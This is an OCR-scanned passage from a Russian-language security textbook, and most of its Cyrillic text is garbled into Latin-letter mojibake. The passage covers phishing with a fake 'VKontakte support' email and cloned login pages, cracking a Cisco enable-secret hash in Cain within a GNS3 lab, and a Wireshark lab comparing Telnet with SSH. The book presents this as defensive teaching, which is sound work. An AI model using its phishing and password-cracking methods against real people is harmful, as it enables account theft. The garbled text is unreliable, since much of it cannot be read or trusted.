BCE 3allpOCHl NIEPEHANpPABIATh Ha (UUIMHTOBBIN caiT. Ho 3TO He Tak mpocTo, U MBI KO-
POTKO PacCMOTPHM COBCEM APYTOH, OoJiee JIETKHI IpUeM, Takke HEPeaKOo IMPUMEHIEMbIH
XaKepaMH.

Xakep, mycTh Jake ¢ nomompio nmporpammel Outlook Express, H3roTaBinMBaeT U Hampas-
JIsIeT BCeM NOTEHLUAIBHBIM JKepTBaM (anbIIMBOE MUCHMO, HAaIPUMEp, TAKOTO COepiKa-
HH, KaK IPe/ICTaBJIeHo Ha pHc. 1.36.
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or CnyxBa Texsmueckoit noagepxiw Brontaxre! 10 ABIYETR, 1505
Komy: pashafl - vol @rambler.ry

3apascreyret ==
Cryxba rexnuuetkoi nogaepwn Biowrakre uaq)opmpvet Bac o nogospuensHoi ams;mcm POABARSMUR

|2 omrowenmn Bawed yueHol 3anucH, BHTERNPETPYENOR HAWWMY SBTOMATHYECKIMH CHCTEMAMY K3k BOIMONHASA
| AERTeRLHOCTL DoToR.

Hacronvenbuo uengyes Bas aposep ROCTH HHLIX M8 O JEKAYHTA.
Cnyxba reximvecksit nogaepwry Brovwaxrs!

) koHTakTe
hitp.fivk.com

+ et D

IAeCh CChINKa

) ' :avust! Zro coobuerne ceoBoAHO OT BHPYCOR ¥ BPACHOCHOID HG
= defee  Antivirus 3a3uiWTa aKTUBHA.

Puc.1.36

He ¢akr, koHeuHO, YTO TIOHOOHBIN mHpueM (corMansHas HikeHepus) cpaboraer! Ho
B KakKMX-TO CIIy4asx MoxeT W moiyuuthes! [To GopmoMy cueTy conepikaHue MOXET
OBITE JTFOOBIM, JTAIIG OBl 3aMHTEPECOBATH MOMyYaTels IEJKHYTh IO CCHUIKE.

IMonsaTHO, 9TO CChUIKA JOJDKHA OBITH HE TaKoi, kak B HammeM HpuMepe Ha puc. 1.36, a
IepeHanpasIATh MIMEHHO Ha TOT CepBep, I'7le pacnonaraercs (GUINAHTOBEIA caiT. Opra-
HU30BaTh TAKOE MUCHMO U (QMINUHTOBEINA CaliT (CMOTPHUM BBIIIE) TEXHAYECKH OYEHb IIPO-
CTO U1 JHOGOro HEMPOABHHYTOrO Mojb30BaTeNi. Eme pa3 HanoMuHaeM: 3Ta POCTOTa U
cOMBaeT HEKOTOpBIX Ha KpUMMHAIBHBINA MyTh!!! Hukakux cnenuanbHBIX HHCTPYMEHTOB
He Tpebyerca. Outlook Express mo3BoiseT BCTaBUTh B TEKCT INMHChMa KaK CCBUIKH
(puc. 1.37), Tak u kapTHHKH. BaxxHo mpu 5T0M, YTOOH! B OKHE, OTKPHIBAEMOM KOMaHIIOH
MEHIO IIapameTpul OrnpaBka coobmennii | @®opMaT OTHPABASEMbIX COOOIMEHHH
nporpammsl Outlook Express, 6bu1 yctanonen @opmar HTML.

Y

* Co2aaTh Coobule HHe

BnoxeHnve daiina...
TekcT w3 datina...
PHCYHOK. ..
[OpH3OHTaNbHaNA AMHKA

BriaTHas £3pTeYRR
Moanuce

Puc. 1.37
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Jlpyro¥i crioco6 oTchUIaTh NOTEHIUATBHEIE XKEPTBEI Ha (HUIIMHIOBBIE CANTHL: Pa3MECTHTE
KaKo#-HUOY/(b KpaCHBBIH CalfT, IpUB/IEKAIOIMNIF BHUMaHHME "OecIUIaTHBIM ChIpoM”. A Tam
BHEJPUTh KapTHHKY ¢ JIOTOTHIIAMU W3BECTHBIX IIOYTOBBIX CEPBHCOB, COLMANILHBIX CETei
U TIEPeHANPaBJIATh JOBEPYMBLIX MMOCETUTENECH, MIEIKHYBIIMX O KaKOH-THO0 KapTHHKE,
NEPBOHAYAIBHO Ha (habINMBBIE peCypChl, YTOObI NIEPEXBATHTH MApPOJb, & YK MOTOM 10
TIpsMOMY HazHadeHmo. [IpueMoB-31ech MHOXKeECTBO!

B KoHIle KOHIIOB, XaKepy M 'He 00A3aTeNBHO KpacTh MAapoJii Ha (QHIOMHIOBOM caifTe, OH:
MOXeT MPOCTO BBINOJIHMTE CKPUITT Ha KOMITBIOTepe >KePTBHI (Kak IpaBuio, paboTaromeit
€ MpaBaMH JIOKATBHOI'O aJIMHHHMCTPaTOpa), HO 00 3TOM. moApoOHee — B IabopaTopHOM
paborte B 2nase 5. '

B CBA3H C TeM, 4TO COLMATLHAA HIDKEHEPHS — 3TO BOIIPOC TICHXOJIOTHH, 2 He POTrpaMM-
HOrO HHCTPYMEHTa, MBI OCTABUM 3Ty TEMy.

B otHOmeHMH 06CcyXAaeMBIX 3/1eCh NMPUMEPOB MPO (GUINHHT OCTaeTcs TOJBKO JOOABHTH,
4To colanbHas ceTh "BKoHTakre" — opraHmsanus o4eHb MOLIHAs, U €CIIH XaKep pas-
MecTHT GabIIMBBIM CaiiT, KIIOHMPOBAHHEIH C €e pecypcoB, TO ero (Xakepa) B CKOpPOM
BpPEMEHH 3aKJICHMAT MO30pOM M "3aKHIAIOT TalmkaMH'. A BOT €ClIM 10 NPUBEAEHHOMY
anropaTMy OyZeT ocylIecTBIIeHa aTaka Ha CalT KaKoi-HHOYIb HEOOJBINOM OpraHH3aIuH,
TO 3TO BIOJIHE JJaXKe MOXKET OCTaThCs He3aMEUEeHHBIM.
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Xaw-hyHKLUUM naponei.
LincdbpoBaHue ceTeBLIX COeANHEHUN

2.1. HeMHOro O X3WWPOBaHUM NaPONeNl.
NMpotokonbl SSH. GN3, Wireshark, PuTTY

MbI He MOXEM He BEPHYThCS K PasroBOpy O NApOJSX B CHILY BXHOCTH 3TOM TeMbL. TeM
6oJiee, YTO ITO MOMOXKET HAM TIOHATH METONOJIOTHIO (OpMHUPOBaHMSA CTEHIOB 1S U3yde-
HUA IeHCTBHIA XakepoB K COOTBETCTBYIOMIUX METOOB 3allUTHL.

B GompImMHCTBE CiTydaeB IIENBIO XaKepa ABJISeTcs Mapoib cyrneprnonb3oBareis. [Toaydns
¢uzHYecKkuit JOCTYN K XOCTY, "B3JIOMaTs" Mapoiib JOCTaTOYHO MpocTo. [ 3Toro cyie-
CTBYET Macca Crioco0oB.

Wnu ewme, k mpuMepy, MOXKHO HCIONIB30BaTh METONBI 3aMEHBI TTapoJIA CyTepIoIb30BaTe-
Ji, 3arpy3HBIONCH CO CIENUAIBHO MOATOTOBJICHHOTO NHCKA M BHECSH M3MEHEHMS HEIO-
CpeACTBEHHO B daiii, coneprkamuii 6a3y yd4eTHBIX 3amMcei mosp3oBaTencii. B onepanm-
oHHoM cucteMe Windows Takue 3amucu ¢ X31-GyHKIMAMH [Tapoieil XpaHATCs B TaK Ha-
3piBaeMoit 6aze SAM — Security Accounts Manager (1 06 3TOM B NOC/IEAYIOMHX IaBax
eme moizet peus). B UNIX-cucremax 3o Moxxer OBITH paiin Tuma etc/shadow.

Ho nono6Heie npueMsl He JaloT 3JI0YMBIIUIEHHUKY (akTHyeckoe 3HaueHue naponi. OH
MOXKET TOJIBKO 3aMEHUTh HEM3BECTHBIH eMy napoiib. EcTecTBeHHO, 4TO, BO-NIEPBBIX, NMPH
TaKOM TIO/IXO/e OCTAIOTCs CleAEL. Bo-BTOPEIX, eci TpebyeTcs MpOYMTaTh COACPKHMOE
(baymon 3aKM(pPOBaHHBIX CTaphIM MapoiieM, To 310 Gyzer HeBo3MOXHO. U camoe rnas-
HOe — TpebyeTcs PpU3MUECK it JOCTYN K KOMIIbIoTepy. JIeHCTBYS B FeTEPOreHHBIX CETAX
Kak pa3Be4HK, XaKep HINET BCe, YTO. /i€ IUIOXO JIEKHT, HOCTENEHHO YCWINBask CTENICHb
CBOETr0 IPOHHMKHOBEHWs. I103TOMY, HE HMes (H3HYECKOro AOCTyNla K KOMIIBIOTEpY,
HO MOJIyYydB B pe3ynbTaTe KaKkoro-THoo yIylmeHus aJAMHHHCTPAaTOpoB ¢ain ¢ x3mI-
¢yHKumsaMu naponeif, OH MPOCTO: MOHKITAETCA MMEHHO "B3JIOMAaTh", a HE 3aMEHHTH Ma-
POJIb, KaK MBI ONIUCHIBATH paHee.

Jiis B3noMa maposied 1o X3mi- ¢ymcmm CYLIECTBYET MHOXECTBO I'OTOBBIX IPOrPaMM.
HaszoBem numb Hexoropere: Johifi “the Ripper, LOphtCrack, SAMinside, Ophcrack,
RainbowCrack, Md5 Crack Monsteér & ap.
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Eciu noka He 3aTparuBarth BOTPOCH IPMMEHEHUs Paly KHBIX TaGIHII (2, YECTHO TOBOPS,
JaHHad I71aBa SBISIETCS MMOATOTOBMTENBHOMN I M3yYeHHs MMEHHO 3TOTO BOMPOCA), TO
BCe Jke HauboJiee MHTEPECHO MPUMEHEHHE rpadMuecKuX a/lalTepoB I TONydeHH Ha-
poic U3 XdI-QYHKIMI. A Ui TakMX LeNieif o9eHb xopoina mporpamMa Extreme GPU
Bruteforcer (EGP), www.insidepro.com. Bpsix i BHI Halifiere Takoe KOJHYECTBO Tpa-
¢drdeckux afanTepoB, yBENMIUBAIOIHX CKOPOCTH OpyTdopea 10 CTPamiHbIX CKOpOCTei,
KaKoe MOJKeT MOJAACPKHBATh 3Ta 3aMevarejibHas IporpaMma (3aMeuartesbHas, XOTS Ha
Hee U pyraiorcs aHTuBipycsl). Ho naxe oaun aganrep 1act HECOMHEHHBIE TIPeMMYIECT-
Ba. IIporpamMa nmoHumaer npumenenue "conu". OIUH HEOOCTATOK — IpOrpamMMa IUIaT-
Hasl, GecrimaTHas ee Bepcusl UMeeT OrpaHHICHUS.

Kcraru, Ha caiite http://www.password-crackers.ru ecte MHOrO HHTEPECHOTO JyIsl BOC-
CTAHOBJICHHS TIapOeH.

Co BpeMEHEM COBEPHICHCTBYETCA HE TONBKO 00OPYIOBaHHE W MPOrpaMMHOE obecrede-
HHE; HO H-TOJ OT roJla pacTer KyJbTYpa HOBEIeHHsI CaMHX aJJMHUHHCTPATOpOB (B ILIaHe
obecrnieyenns MMH MH(OPMAIMOHHON Ge30MacHOCTH). ABTOpP TIOMHHMT €Ille T€ BpEMEHa,
KOIJIa MHOTO JIeT Ha3a[ B JOCTATOYHO CEPhe3HBIX CETAX HAXOMWa (hailTbl C BEITPYMKEH-
HBIMH KOHQUTYpatmsiMu MapupytusaropoB ¢upmsr Cisco. Kondurypanuym Beirpyxa-
muck ¢ npumeHeHueM TFTP-cepsepa i GOXpaHEeHHd B 00IeAOCTYIIHOM KaTaJiore.
Maro toro, 9ro daiitel GbLUIM AOCTYIHBL TyTh JM HE KOKAOMY TOJB30BATENIO CETH, TaK
elIe M NapoJib ISt BXOJA Ha OJIHY W3 JIMHMH B KOH(HIypauoHHOM (aiine GBI B HCTOM,
OTKPHITOM BHJE, O3 npuMenenus x>m-gpynkimn. M, yro BooOme xyxe ObITh He MOXeET,
KaK OKa3ajloch, Mapojlb enable GBUI TOYHO TAKHM €. AJMHHMCTPAaTOp CETH, SBIAACKH
JOCTATOYHO KBATM(UIHMPOBAHHBIM CTICLHAANMCTOM, HCXOMWI M3 MPUHLMIIA: MOJIb30BAaTe-
7B BCE PAaBHO B 3TOM, T. €. B KOHGUIypaLmsx crielM(HIHbIX YCTPOHCTB, HAYEro He mo-
mmam Koaetmo Ke, celuac BpsJi JIM Bbl Halizere Takoil daiin B oTkpeiToM BHe. Ho
'~ Bee ke JIOAM HE CTATH MeHee GecriedHbl. W ecni He3aNawIMBEIA aJMHUHUCTPATOpP, XpaHs
KOIMM KOH(UTypammii B JOCTYITHOM MecTe, PETIOJaraeT, 9To Mo X3r-(yHKIMM mapo-
Jiel NOoNyYHuTh JOCTY 3aTPYAHUTENBHO, TO 9TO SBHOE 3a0.IyKICHHE.

PaccMOTpUM CKa3aHHOE Ha KOHKpeTHOM mpumepe. HICHonb3ys cBoGOOHO pacmpocTpa-
Haemyio nporpamMmy GNS3 (http://www.gns3.net/) misi umuTamm paGoTel YCTPOMCTB
¢upmel Cisco B J1IaGOpaTOPHBIX YCIIOBHSX, IOCMOTPHM KOHQHTYPALMIO €lle "4ucToro"”,
mo6oro He HACTPOEHHOTO MAapIIPYTH3ATOPa, BHHIONHHB KOMAHJY enable, 4 3aTeéM show
running (pHc. 2.1).

Teneps nepeiiieM K KOHDUIYPHPOBAHMIO POYTEpa TAK, YTOGHI IOMYIUTH X3-(pYHKLMIO
napois enable, HMEIOMEro MPOCTOE 3HAYEHHE abcl23. Takod HeMpaBWIBHBIH, IPOCTOI
Mapojb Mbl YCTAaHOBHM, KOHEYHO JK€, YMBIIUIEHHO, A yCKOpeHrs noabopa. 3axomum
B MEHIO KOH(UTypHpOBaHHsA poyTepa (KOMaHIa conf) H: ycTanaBiuBaeM TpeGyeMbli na-
poJb (KOMaHJA enable secret abcl23, KaK MOKA3aHO Ha PHC. 2. 2)

IIpocmoTpuM Kombm'ypaumo BBITIOJTHHB KOMaHAy show run (pnc. 2.3).

Xo1-pyHKIMs 3aJaHHOTO HAMH napom enable IMOJTYYHIACH SICAYIOMCH:
$1$VRu4$ /Nw/GRY 9WrNOfF40JbthAl LAl
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MapuipyTusatop c1700 - ¢
MappyTtrsaTop c2600
MapwpyTHsaTop c269f ..
MapwpyTtHsatop 3600
M, Top ¢370i

ceTeBoH 3kpaH-PIX
8 ASA firewall
Juniper router-
&&F Ethernet koMmyTaTOp
288F ATM Moct

ATM KomMMyTaTOp

Frame Relay Kumny'rérop
3 EtheFS{Nitch router ’
= 1IDS

Puc. 2.1

MapwpyTtHhsaTop c1700
MapwpyTHhzaTop c2600
MapuwpyTrsaTop c2691
MapwpyTusaTop c3600
MapwpyTtnsatop c3700

ceTesor 3kpaH PIX
ASA firewall
B8 Juniper router
#@0® Ethernet komMyTaTOp
ATM MocT

fe8 ATM komMyTaTOp

Frame Relay kommyTaTc

EtherSwitch router
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iguration. ..

Puc. 2.3

Jlist B37IOMa NapoJIsl IPUMEHHM YoKe M3BECTHYIO HaM TporpamMMmy Cain, MCTIONb3ysl METON
Brute-Force Attack, T. e. mepeGopom (puc. 2.4).

R LM &NTLM Hashes (0)
-4R NTLMY2 Hashes:(0)
-HR M5-Cache Hashes (0)
,&% PWL ﬁles (0)

C|sco PIX MDS Hashes (0)
-€B APOP-MDS Hashes (0)
CRAM-MDS Hashes (0)
-4}» OSPF-MDS Hashes (0)
P RIPv2-MDS Hashes (0)
P YRRP-HMAC Hashes (0)
YNC-3DES (0)

md MD2 Hashes (0)

sod MPd Hachac £0)

buctlonéry Attack
Bruke-Force Altad

Select All
Note

Test password

Add to list Insert
Remove Delete
Remove All

Puc. 2.4

CrycTts Kakoe-To BpeMs nonyqﬁM-peaynsTaT (puc. 2.5).

O6paTHTe BHAMAaHHEC, YTO UKL YCKOpeHI/ISI MBI HE UCHOJIb30BAJIA CIICLICUMBOJIBI B Ha60pe

NPUMCHACMBIX 3HAKOB.

Koneuno xe, meron Brute-Ferce Attack — OIWH M3 CaMBIX JONTHX MeTonoB. IlosTomy
noA6op 6-CHMBOJIBHOTO NMapoJis B HALlIeM CiTydae 3aHsUl IPUMEPHO 4 Hs C OCTAHOBKAMH.
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5/ Banom

- HR LM&NTLM xaum (0)
-HR NTLMv2 Xsum - (0)
R Ms-Cache Xsum (u)

P APOP-VDS Xoum (0)

€ CRAM-MDS Xaum (0) abedefghikimnopgrstuvwiyz01 23456763

» OSPF-MDS Xawn (0)

& RIPv2-MD5 Xaum (0)
YRRP-HMAC Xaum (0
VYNC-3DES (0)

md MD2 Xaum (D)

md MD4 Xaum (0)

md MDS Xawn (0)

SHR SHA-1 Xaum (0)

KA SHA-2 Xaum (0)

R, RIPEMD-160 Xsum (O
KerbS PreAuth Xawm
Radius Shared-Key X3 Plaintext of $1$VRud4$/Nw/GRY9WrNOfF40JbthAl is abcl23

69 IKE-PSK Xaum (0) Attack stopped!
MSSQL Xowm (0)° | 1 of 1 hashes cracked
MySQL Xsum (0}
Oracle Hashe's (0)
Oracle TNS Xsum (0)
o SIP X3um (0)

‘8" 3axsar 802.11 (0)

8> WPA-PSK Xawn (0)

‘8’ WPA-PSK Auth (0)

< CHAP Xaum (0)

Puc. 2.5
Cxopee Bcero, xakep OyZeT JJoMaTh apoiib, UCTIONB3YS CIIOBapd. A MOXeT ObITb, B 60-
Jee coBepmeHHbIH criocob. Cka3aTs mo cexpery — (paKkTHUecKd 3TOM INIaBO#, Ha IMpo-
CTOM Marepuajie, Mbl U HaYMHAEM NOTUXOHBKY F'OTOBHMTH BAaC K INOHATHAM, HCIOJIb3Ye-
MBIM HECKOJBKO MO3XKE, MPH PACCMOTPEHHH METOIOB BOCCTAHOBJICHHS mapoieii ¢ no-
MOIIBIO PaIy>KHBIX TaOJIHIL

Ho Bepuemcs k mporpamme Cain. V Hee Takke eCTh ()YHKIHS. B3JIOMa IO CJIOBAapIo:
Dictionary Attack! ITprdem ¢ GONBIIMM KOJIMIECTBOM BO3MOXKHOCTE#H: HaboOp mapoiis 3a-
JoM Hamepen (peBepc), ABOHHON Mapoib (MCIOb3yeTcs MOBTOP CJIOBA JBAXIBI), JBOM-
HO#1 ITapoJib ¢ MPUMEHEHUEM CJIOBA B Pa3HBIX PETHCTPax M T. .

KpoMe Toro, B 3Ty TIpOrpaMMy BCTPOEHO HEMAJIO TOJIe3HBIX MHCTpyMeHTOB. Hanprmep,
peammsoBans! gemmdparopsr naponeit: Cisco Type-7, Cisco VPN Client, VNC, ynaien-
Horo pa6odero crona, [ocTymna k 6azaM naHHBIX, Syskey. IMeloTcs: X3mI-KalIbKyJIsATOD,
xanbkyssarop RCA SecurID Token, kanskynsrop VPA PSK.



36 - . Fnaea 2
!

CymectByer B TiporpamMe Cain Takke BO3MOXKHOCTh PaCKOAWPOBaHHS aJTOpHTMA

Base64, KOTophIii He sABIIseTCA MHQpPOBAHNEM; HO MPHMEHSETCA NPH Nepefade JaHHBIX

TI0 CeTH TaK, 9TO0BI BCe CHMBOJIBI CTapineif MoJIoBUHBI Tabmwisl cuMBoioB ASCII G

3aMeHeHbl CHMBOJIaMM MJIaJiliel MOJOBHMHEL MHOrNa X3muM maposieil MM JAaxe Haposd

OTKPBITHIM TEKCTOM ObiBatoT 06paGoTanst Base64.

HeMHOro OTBIIEKIIMCE, HO BO3BpAmMaisCh K OCHOBHOH TEME, HENb3s HE CKa3aTh eIle mapy
cioB o nporpamme GNS3. Jleno B ToM, YTO AJI11 MPOBEIEHHs Halllero SKCIIEpUMEHTa, BO-
BCe He 00a3arenbHO GBUTO ee Henons3oBath! I'opasno mpome 6suto GBI Halita B UHTEp-
HeTe KaKylo-HHOYb yTHIATY, BKIIOYAIOMYIO B ce0s X3II-KaIbKyJISTOPEl HA BCE CIly4an
JKU3HH, WIH HCTIONB30BATh Y)Ke YIOMSHYTRIHA kalbKystop B nporpamme Cain. ITpasna,
B TaKOM CJTy4ae BBl HE IO3HAKOMIIMCH OBl CO CTONb 3aMeYaTebHON IPOrpaMMOM, KaK '
GNS3 (nmpugeM, GecriaTHO#), 0 CyIeCTBOBAHMH KOTOPOH 3a49acTylo OYEMY-TO HE 3Ha-
0T Jaxe MpOJABHHYTHIE CHEHACTH IO TeIeKOMMyHHMKaimsaM. IIpumenss 3Ty mpo-
rpaMMy M He MMesl JOPOTOCTOALIEro 000pyAOBaHMs, MOXKHO IPOBOAUTH "Ha JOMY" IpaK-
THYECKH JOOBIEe SKCIIEPHMEHTH, B TOM 4HClle CBsA3aHHBIe ¢ obecrieueHueM Oe3omac-
HOCTH, MMHUTHpYs aKTuBHble yctpoiictBa ¢upmbi Cisco. Bmecto cammux ycrpoicT
ucnons3ytotes o6passt I0S (Internetwork Operating System — dakTHYECKH 3TO omnepa-
LMOHHAs CHCTeMa aKTUBHOrO ycrpoiicta pupmel Cisco). Ilonkmodenue o6pa3oB mpous-
BoouTcsA Ha BKIaake PemaktmpoBarh, nanee — OO6passl IOS H rumepsBH3OpbI, a
3ateM — OOpa3bl 10S. O0pa3pl B KOMIUIEKT HNPOrpaMMBI, K COXKAJICHHIO, HE BXOIAT.
Xakepsl TOOBIBAIOT UX B Heipax MHTepHeTa (Ha TeX jKe TOPPEeHTax), a aAIMHUHUCTPaTOPHI
‘6epyT Ha pabGore. [Tpu uHcTaUAEK GNS3 ycTaHaBIMBaeT TakKe BHEIIHUE IIPOrPaMMBI,
BXOIUINHE B KOMILTEKT: crmq)q)ep Wireshark u e MeHee 3amMeqaTeNbHYIO TEPMUHATBHYIO
nporpammy PuTTY.

TIporpamma Wireshark — 310 3aMeqaTenbHbIii GeciutaTHbIi cHUGdEp, MMeromuii 6016~
oe KOJIMYeCTBO QYHKIMI M MIMAPOKO MCTIONB3yeMBbIii Xakepamu (puc. 2.6, http://www.
wireshark.org).

192.168.43.255 NBNS

76

3 b5 cC a8 2b-
e6 86 d2 6¢ 01
4e 45 42 45 4a
41 53 41 43 41

Puc. 2.6
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TporpamMma ymeeT HACHTHGHIMPOBATH PAKTHYECKA BCE MOMyJISPHBIE CETEBbIE HPOTO-
KOITBI, MMEET THOKYIO CHCTEMY HACTPOMKH (HIBTPOB JUTA 3aXBaTa MakeToB (YTOOHI He
3aXBATHIBATH HEHYXHOE), CYIIECTBYIOT PeATU3aIHN VTl PA3IHYHBIX OTEPAIMOHHEIX CHC-
TeM, B ToM uncite g UNIX-cHcTeM, ee HCXOMHBIN KO HAXOIUTCS B OTKPHITOM JIOCTYTIE.
IIpo Bce BOBMOXKHOCTH 3TOTO CETEBOrO aHANTM3ATOpa MPOTOKOJIA MOXKHO HAIMHCATh OT-
HenbHyro KHHry. KoHKpeTHbiit TpEMep MCTIONB30BAHUA 3TOH IPOrpaMMBI MBI TIPUBENEM
HEMHOTO TIO3/THE®. '

TepmunanbHas nporpamma PuTTY Taroke Gecruiatsa (puc. 2. 7)

- Keyboard
- Bell
- Features
- Window
- Appearance
-- Behaviour
- Translation
- Selection
- Colours Default Settings
- Connection ,
-~ Data
- Proxy
- Telnet
- Rlogin
H- SSH -
- Serial

Puc. 2.7

PuTTY B paspese Bonpocos obecreuerns HHYOPMAIHOHHON Ge30I1acHOCTH 3aMedaTelh-
Ha ellle M TeM, YTO y Hee eCTh BO3MOXKHOCTE paGoTats ¢ mpotokosnioM SSH. MiMeHHO fio-
3TOMY HPOrPaMMy TaK JIOGST CHEUANMCTE], 3aHUMAIOIINECS aTMAHHCTPAPOBAHHEM aK-
THBHBIX CETEBBIX YCTPOHCTB, Harlpumep ¢upmsl Cisco.

Hemno & Tom, uro SSH (Secure Shell) — cereBoit mpoToko, noamepuBaromuii mudpo-
BaHUe. YNaJICHHOE aJIMMHHCTPHPOBAHHUE MapIIPYTH3aTOPOB, KOMMYTATOPOB C MPHMEHE-
HHeM npotokona Telnet (yCTapeBmerq B OTHOIIEHHH TpeOOBaHMii MO 3amuTe HHPOopMa-
‘M) CIIMINKOM onacHo. 11 koMy, Kak He afIMHHUCTPATOpaM, 3TO XOpOMIO M3BeCTHO. IIpu-
MeHeHve SSH He MO3BONHMT 370YMBIILTICHHUKAM YHUTATh MAPOJIH JOCTYIA ¢ ITOMOIIBIO
cHu(depoB..
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ITporokon SSH umeercs 8. AByx peammanuax — SSH-1 u SSH-2. Ilepsas Bepéna SSH-1
TIOCJIe HAXOXKEHH COOTBETCTBYIOIHUX YA3BUMOCTEH IIOCTENEHHO CTalla BHITECHATBCS M3
npumenenns. PUTTY nomuep:kuBaeT 06a BapuaHTa MPOTOKOJIA SSH (pwuc. 2.8).

Hacrpovky PuTTY

. &2 TepmuHan

‘... DcoBenHocTI
2 Okro
i BHEIWHMi1 Brg,

i POR

- [NoseaeHue

- Kogupoeka

-- Bolaenexue

.- LiBeToBas cxema
. - TUNepCCLIAKU
-/ . = CoeuHenme

: - JlaHHble

- Mpoken NPeaynpexaaTb o cAatom Wwuepe -
- Telnet rcfour (ronbko SSH-2)

Puc. 2.8

SSH-TyHHEJIMHT JIE&XUT U B OCHOBe ceTeil Tor, 0 KOTOPhIX MBI Taloke eme OyIeM roBo-
PHTEH HECKOJIBKO MO3XKE.

Jbts Toro 9roOBl HarHO yoenuThes, yro ¢ npumeHeHueM SSH Tpaduk cetu mmdpyer-
csl, MOXKHO B KadecTBe JabopaTOpHOro mpakTHKyma cobpate ciemyrommii ctena. Ha
OIHOM U3 KomimbioTepoB ¢ Windows, BhICTymaroimeM B KadecTBe CepBepa, YCTaHOBHUM
6ecratHyro nporpammy freeSSHd (http://www.freesshd.com) u HacTponM ee Tak, yTo-
661 66T paspemieH JocTyn 1o mpotokoiny Telnet (puc. 2.9).

B mporpaMMe onpeaeuM Mob30BaTeNs ¢ IMEHEM T00t, a €r0 IapaMeTPh BEICTABAM Tak,
YT00bI HCIOMB30BAJIaCh ayTeHTH(HKAIHS C MPUMEeHeHHeM naposis (puc. 2.10).

C npyroro kommsotepa-kauenTa (192.168.0.171) mo nporokony Telnet ¢ ucroms30Ba-
HueM nporpammsi PuTTY ocyinecTsuM coeuHeHue ¢ cepeepoM (puc. 2.11).

Cepaep IIPOH3BOJHT TIPOLIEAYPY ayrenTuduKammu (puc. 2.12).
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s freess5Hd

fess: ) 0.0.0.0 (Allinterfaces)
423

Puc. 2.9

Laogin: {root

1
}.
- Authorization: %P_asswmd stored as SHA1 hash %

Password: l Start typing hete to change passwaid

b
o

' Puc. 2.10
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i - QCOGEHHOCTH
| 2 OxHo

‘ . BHewHW But
. POH

.- Flopenenwe
- Kopuposka
- Boipenenne

- LipeToBER CXEeMa
- FurepecomKe
2- Coenprenne

- laHHbe

- Flpokewn

- Telnet

.- Rlogin

1 SSH

- Serial

- Cygiem

i
| |
:
§
%
-
.

Puc. 212

B nactpoiikax cuaddepa Wireshark Ha cepsepe (192.168.0.100) ycraHOBEM GMIBTD:
"3aXBaTHIBATE" TONBKO IAKETHL MEXIAY CEPBEPOM H  KOMIBLIOTEPOM-KIHMEHTOM
(192.168.0.171), B, ucnions3ys B Merro Edit komaHzy Find Packet, ocymecmnM MOHCK
makeTa co ciioBoM password (puc. 2.13 u 2.14).

Haxomures makeT ¢ yKasaHHBIM CJIOBOM, IOATBEpKIarommuii, yro Telnet aeficTBHTENHEHO
MepeiacT JaHHbIe 110 CETH B OTKPHITOM Bufe (puc. 2.15).

Jlajiee MOBTOPHM BCIO MPOLIEAYPY COSAUHEHHs C CEpBEPOM, HO Yxke s mporokoiia SSH
(puc. 2.16).

U BHOBB 3anpamuBaeTcs ayreHTUHKamms (puc. 2.17).

Ho cefiuac makeT co cinoBoM password yxke He 0OHapy>KHBaeTCs 110 TOM MPOCTOM IMpUYH-
He, 4TO Bech Tpaduk B cetr no nporokoiry SSH mudpyercs (puc. 2.18).
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Ethernet address.00:08:15:00:08:15 ' -
Ethernet type 0x0806 (ARP)
Ethernet broadcast

o address isn't 192, 168 0.1, don't use |= for this!
= IPX only

Puc. 213

Wireshark: Find Packet

Q0c 60 76 69 2c 56 90 2b 34 1d
00 32 70 3b 40 00 80 06 08 Zh
00 ab 00 17 c0 64 ab 15 f3 .
ff d3 75 58 00 00 70 61 73

33 62 21 50 18
& 72 64 3a 20

Puc 215
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- Knasuarypa
- YBEOoMNeHNR
- (CDBeHHDCTI
2 Okuo

i i Brewrwi Bun
.. Pan
nogeneme

- Koawposka

- Boimenenvie
.- liBeTosan cxema
- [ MnepeebiiKig
B- Coenmenme

- [aHHbe

- Fipoxew

- Telnet

. Rlogin

& SSH

- Serial

.. Cygterm

Puc. 2.16 :

Puc. 217

HWe No NoKanbHou cety [Wireshark |

: : e b

90 2b 34 1d c8 c9 Oc 60 76 60 2c 56 08 00 45 00

00 28 41 42 40 00 B0 06 37 2e c0 a8 00 ab c0 a8 . (AB@. ..

00 64 cO 20 00 16 dO 5 c¢c 17 99 4e d0 e0 50 10 .d......
0030 oOf e8 55 69 00 00 00 QO 00 00 00 00 B 1

Puc. 2.18

IIpousBeneHHble ASHCTBHS HAIIAAHO JEMOHCTPHPYIOT, oueMy aqMuHucTpaTopbl UNIX-
CHCTEM Il yAAJIEHHOTO aJMUHMCTPUPOBAHHS HCIOJB3YIOT IpoTokon SSH, mpumenss
B KayecTBe KIMEHTCKOro mporpamMMHoro obecneuenus mporpammy PuTTY. C Kpmrro-
rpadueii TpyJHO COCTA3ATHCA.
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2.2. MpakTuKyMm no opraAnsauum

AOMaLLIHero cteHpa AnAa. n3yvyeHus

wurucdpoBaHHOro ceTeBoOro KaHana

MBI He ciTy4aiiHo, Ha4as ¢ IPOCTOrO, MOZIBENIHM Bac K OoJiee CI0XKHOMY, IPAKTHIECKH YIiKe
pOodeCCHOHATIFHOMY CIIOCO0y OpraHu3ali mMgpoBaHHOro ceTeBoro kaHana. Ceifdac,

YK€ HEMHOI'O IIOATOTOBHUBINHCH, BBl HABCPHsJIKA CMOXKETE CaMOCTOATEIIbHO OPraHnu3oBaTh
CTCHJ, OIIMCaHUE KOTOPOro IIPUBEACHO B 3STOM pa3feciic.

Hrax, x gemy.

1.

4,

Tlepeiinure Ha cepBep paspaborumka nporpammel GNS3 mo ampecy http://www.
gns3.net/.

U3 pasaena Download ckauaiite mporpammy GNS3 mis Windows. Jlygine Bcero Bep-
cmo all-in-one (Bce B 0HOM), YTOOBI BBl C OIMHAKOBBIM YCIIEXOM MOIJIM €€ YCTaHaB-
JIMBATh Kak Ha 32-, Tak ¥ Ha 64-pa3ps/IHEIX CHCTEMAaX.

IIpomsBenure uHCTALALMIO. COrJIacCHTECh YCTAHOBUTh BCE KOMIIOHEHTHI (B TOM YHC-
ne SuperPutty), puc. 2.19. Ecii Bo BpeMs yCTaHOBKH IIporpamMMma COOOINMT, YTO Ka-
KOM-JTHOO M3 KOMIIOHEHTOB YK€ MMeeTCs Ha BallleM KOMITBIOTEepE, TO HMYEro CTpall-
HOT'0 — MOTOM OTKaXETECh OT IIOBTOPHOM yCTaHOBKH.

Choose Components
Choose which features of GNS3 0.8.7 you want to install,

Bl winPCAP 4.1.3
Wireshark 1.10.8

